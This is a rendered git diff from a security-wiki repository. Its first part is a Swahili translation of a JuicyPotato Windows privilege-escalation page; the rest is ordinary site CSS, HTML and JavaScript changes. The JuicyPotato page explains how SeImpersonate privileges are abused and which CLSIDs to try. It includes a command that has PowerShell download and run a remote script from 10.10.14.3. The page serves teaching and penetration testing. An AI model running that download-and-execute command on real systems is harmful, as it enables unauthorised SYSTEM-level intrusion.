- **Argument ya Mchakato** _binafsisha hoja za mchakato uliozinduliwa_
|
||||
- **Anwani ya Seva ya RPC** _kwa njia ya siri unaweza kujiandikisha kwa seva ya RPC ya nje_
|
||||
- **Bandari ya Seva ya RPC** _inafaa ikiwa unataka kujiandikisha kwa seva ya nje na firewall inazuia bandari `135`…_
|
||||
- **MODE YA TESTI** _hasa kwa madhumuni ya majaribio, yaani, kujaribu CLSIDs. Inaunda DCOM na kuchapisha mtumiaji wa token. Angalia_ [_hapa kwa majaribio_](http://ohpe.it/juicy-potato/Test/)
|
||||
- **MTIHANI wa hali** _hasa kwa madhumuni ya majaribio, yaani. kujaribu CLSIDs. Inaunda DCOM na kuchapisha mtumiaji wa token. Angalia_ [_hapa kwa majaribio_](http://ohpe.it/juicy-potato/Test/)
|
||||
|
||||
### Matumizi <a href="#usage" id="usage"></a>
|
||||
```
|
||||
@ -75,7 +74,7 @@ Ikiwa mtumiaji ana `SeImpersonate` au `SeAssignPrimaryToken` ruhusa basi wewe ni
|
||||
|
||||
Ni karibu haiwezekani kuzuia matumizi mabaya ya COM Servers hizi zote. Unaweza kufikiria kubadilisha ruhusa za vitu hivi kupitia `DCOMCNFG` lakini bahati njema, hii itakuwa changamoto.
|
||||
|
||||
Suluhisho halisi ni kulinda akaunti na programu nyeti ambazo zinafanya kazi chini ya akaunti za `* SERVICE`. Kuzuia `DCOM` hakika kutazuia exploit hii lakini kunaweza kuwa na athari kubwa kwenye OS inayotegemea.
|
||||
Suluhisho halisi ni kulinda akaunti nyeti na programu ambazo zinafanya kazi chini ya akaunti za `* SERVICE`. Kuzuia `DCOM` hakika kutazuia exploit hii lakini kunaweza kuwa na athari kubwa kwenye OS inayotegemea.
|
||||
|
||||
Kutoka: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
|
||||
|
||||
@ -100,7 +99,7 @@ c:\Users\Public>
|
||||
```
|
||||
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
|
||||
```
|
||||
### Uzinduzi wa CMD mpya (ikiwa una ufikiaji wa RDP)
|
||||
### Anzisha CMD mpya (ikiwa una ufikiaji wa RDP)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -108,7 +107,9 @@ c:\Users\Public>
|
||||
|
||||
Mara nyingi, CLSID ya kawaida ambayo JuicyPotato inatumia **haifanyi kazi** na exploit inashindwa. Kawaida, inachukua majaribio kadhaa kupata **CLSID inayofanya kazi**. Ili kupata orodha ya CLSIDs za kujaribu kwa mfumo maalum wa uendeshaji, unapaswa kutembelea ukurasa huu:
|
||||
|
||||
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
|
||||
{{#ref}}
|
||||
https://ohpe.it/juicy-potato/CLSID/
|
||||
{{#endref}}
|
||||
|
||||
### **Kuangalia CLSIDs**
|
||||
|
||||
|
@ -183,6 +183,13 @@ body.sidebar-visible #menu-bar {
|
||||
}
|
||||
|
||||
/* Languages Menu Popup */
|
||||
|
||||
@media only screen and (max-width:799px) {
|
||||
#menubar-languages-toggle span {
|
||||
display: none !important;
|
||||
}
|
||||
}
|
||||
|
||||
#menubar-languages-toggle {
|
||||
position: relative;
|
||||
}
|
||||
@ -244,6 +251,11 @@ html:not(.js) .left-buttons button {
|
||||
cursor: pointer;
|
||||
color: var(--fg);
|
||||
}
|
||||
@media only screen and (max-width:799px) {
|
||||
.menu-title {
|
||||
font-size: 1.4rem;
|
||||
}
|
||||
}
|
||||
|
||||
.menu-bar,
|
||||
.menu-bar:visited,
|
||||
@ -633,6 +645,11 @@ ul#searchresults li a span.teaser em {
|
||||
color: var(--sidebar-fg);
|
||||
}
|
||||
}
|
||||
@media only screen and (min-width:1440px) {
|
||||
#sidebar-toggle{
|
||||
display: none !important;
|
||||
}
|
||||
}
|
||||
@media only screen and (max-width:549px) {
|
||||
.sidebar {
|
||||
position: fixed;
|
||||
@ -835,7 +852,7 @@ html:not(.sidebar-resizing) .sidebar {
|
||||
border-top: 1px solid var(--table-border-color);
|
||||
margin-top: 1rem;
|
||||
align-content: center;
|
||||
z-index: 101;
|
||||
z-index: 106;
|
||||
}
|
||||
.footer .theme-wrapper {
|
||||
max-width: var(--container-max-width);
|
||||
|
@ -343,8 +343,8 @@
|
||||
--warning-border: #ff8e00;
|
||||
|
||||
--table-border-color: #2f2f2f;
|
||||
--table-header-bg: hsl(226, 23%, 31%);
|
||||
--table-alternate-bg: hsl(226, 23%, 14%);
|
||||
--table-header-bg: #2f2f2f;
|
||||
--table-alternate-bg: #222222;
|
||||
|
||||
--searchbar-border-color: #2f2f2f;
|
||||
--searchbar-bg: hsl(0, 0%, 11%);
|
||||
@ -429,7 +429,7 @@
|
||||
--warning-border: #ff8e00;
|
||||
|
||||
--table-border-color: hsl(0, 0%, 95%);
|
||||
--table-header-bg: hsl(0, 0%, 80%);
|
||||
--table-header-bg: hsl(0, 0%, 95%);
|
||||
--table-alternate-bg: hsl(0, 0%, 97%);
|
||||
|
||||
--searchbar-border-color: #aaa;
|
||||
|
@ -176,10 +176,12 @@
|
||||
|
||||
<div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations">
|
||||
<i class="fa fa-globe"></i>
|
||||
<span class="menu-bar-link">Translations</span>
|
||||
|
||||
<div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu">
|
||||
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
|
||||
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
|
||||
<button id="en" role="menuitem" class="menu-bar-link">English</button>
|
||||
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
|
||||
<button id="fr" role="menuitem" class="menu-bar-link">French</button>
|
||||
<button id="de" role="menuitem" class="menu-bar-link">German</button>
|
||||
<button id="el" role="menuitem" class="menu-bar-link">Greek</button>
|
||||
@ -190,11 +192,10 @@
|
||||
<button id="pl" role="menuitem" class="menu-bar-link">Polish</button>
|
||||
<button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button>
|
||||
<button id="sr" role="menuitem" class="menu-bar-link">Serbian</button>
|
||||
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
|
||||
<button id="sw" role="menuitem" class="menu-bar-link">Swahili</button>
|
||||
<button id="tr" role="menuitem" class="menu-bar-link">Turkish</button>
|
||||
<button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button>
|
||||
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
|
||||
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
@ -72,7 +72,7 @@
|
||||
.sidetoc-wrapper {
|
||||
position: fixed;
|
||||
width: 250px;
|
||||
height: calc(100vh - var(--menu-bar-height) - 25px * 2);
|
||||
height: calc(100vh - var(--menu-bar-height) - 50px * 2);
|
||||
overflow: auto;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
|
@ -1,68 +1,76 @@
|
||||
let scrollTimeout;
|
||||
let scrollTimeout
|
||||
|
||||
const listenActive = () => {
|
||||
const elems = document.querySelector(".pagetoc").children;
|
||||
[...elems].forEach(el => {
|
||||
const elems = document.querySelector(".pagetoc").children
|
||||
;[...elems].forEach((el) => {
|
||||
el.addEventListener("click", (event) => {
|
||||
clearTimeout(scrollTimeout);
|
||||
[...elems].forEach(el => el.classList.remove("active"));
|
||||
el.classList.add("active");
|
||||
clearTimeout(scrollTimeout)
|
||||
;[...elems].forEach((el) => el.classList.remove("active"))
|
||||
el.classList.add("active")
|
||||
// Prevent scroll updates for a short period
|
||||
scrollTimeout = setTimeout(() => {
|
||||
scrollTimeout = null;
|
||||
}, 100); // Adjust timing as needed
|
||||
});
|
||||
});
|
||||
};
|
||||
scrollTimeout = null
|
||||
}, 100) // Adjust timing as needed
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
const getPagetoc = () => document.querySelector(".pagetoc") || autoCreatePagetoc();
|
||||
const getPagetoc = () =>
|
||||
document.querySelector(".pagetoc") || autoCreatePagetoc()
|
||||
|
||||
const autoCreatePagetoc = () => {
|
||||
const main = document.querySelector("#content > main");
|
||||
const main = document.querySelector("#content > main")
|
||||
const content = Object.assign(document.createElement("div"), {
|
||||
className: "content-wrap"
|
||||
});
|
||||
content.append(...main.childNodes);
|
||||
main.prepend(content);
|
||||
main.insertAdjacentHTML("afterbegin", '<div class="sidetoc"><nav class="pagetoc"></nav></div>');
|
||||
return document.querySelector(".pagetoc");
|
||||
};
|
||||
className: "content-wrap",
|
||||
})
|
||||
content.append(...main.childNodes)
|
||||
main.prepend(content)
|
||||
main.insertAdjacentHTML(
|
||||
"afterbegin",
|
||||
'<div class="sidetoc"><nav class="pagetoc"></nav></div>'
|
||||
)
|
||||
return document.querySelector(".pagetoc")
|
||||
}
|
||||
const updateFunction = () => {
|
||||
if (scrollTimeout) return; // Skip updates if within the cooldown period from a click
|
||||
const headers = [...document.getElementsByClassName("header")];
|
||||
const scrolledY = window.scrollY;
|
||||
let lastHeader = null;
|
||||
if (scrollTimeout) return // Skip updates if within the cooldown period from a click
|
||||
const headers = [...document.getElementsByClassName("header")]
|
||||
const scrolledY = window.scrollY
|
||||
let lastHeader = null
|
||||
|
||||
// Find the last header that is above the current scroll position
|
||||
for (let i = headers.length - 1; i >= 0; i--) {
|
||||
if (scrolledY >= headers[i].offsetTop) {
|
||||
lastHeader = headers[i];
|
||||
break;
|
||||
lastHeader = headers[i]
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
const pagetocLinks = [...document.querySelector(".pagetoc").children];
|
||||
pagetocLinks.forEach(link => link.classList.remove("active"));
|
||||
const pagetocLinks = [...document.querySelector(".pagetoc").children]
|
||||
pagetocLinks.forEach((link) => link.classList.remove("active"))
|
||||
|
||||
if (lastHeader) {
|
||||
const activeLink = pagetocLinks.find(link => lastHeader.href === link.href);
|
||||
if (activeLink) activeLink.classList.add("active");
|
||||
const activeLink = pagetocLinks.find(
|
||||
(link) => lastHeader.href === link.href
|
||||
)
|
||||
if (activeLink) activeLink.classList.add("active")
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
window.addEventListener('load', () => {
|
||||
const pagetoc = getPagetoc();
|
||||
const headers = [...document.getElementsByClassName("header")];
|
||||
headers.forEach(header => {
|
||||
window.addEventListener("load", () => {
|
||||
const pagetoc = getPagetoc()
|
||||
const headers = [...document.getElementsByClassName("header")]
|
||||
headers.forEach((header) => {
|
||||
const link = Object.assign(document.createElement("a"), {
|
||||
textContent: header.text,
|
||||
href: header.href,
|
||||
className: `pagetoc-${header.parentElement.tagName}`
|
||||
});
|
||||
pagetoc.appendChild(link);
|
||||
});
|
||||
updateFunction();
|
||||
listenActive();
|
||||
window.addEventListener("scroll", updateFunction);
|
||||
});
|
||||
|
||||
className: `pagetoc-${header.parentElement.tagName}`,
|
||||
})
|
||||
if (header.parentElement.querySelectorAll("a").length === 2) {
|
||||
link.textContent = header.parentElement.querySelectorAll("a")[1].text
|
||||
}
|
||||
pagetoc.appendChild(link)
|
||||
})
|
||||
updateFunction()
|
||||
listenActive()
|
||||
window.addEventListener("scroll", updateFunction)
|
||||
})
|
||||
|
Loading…
x
Reference in New Issue
Block a user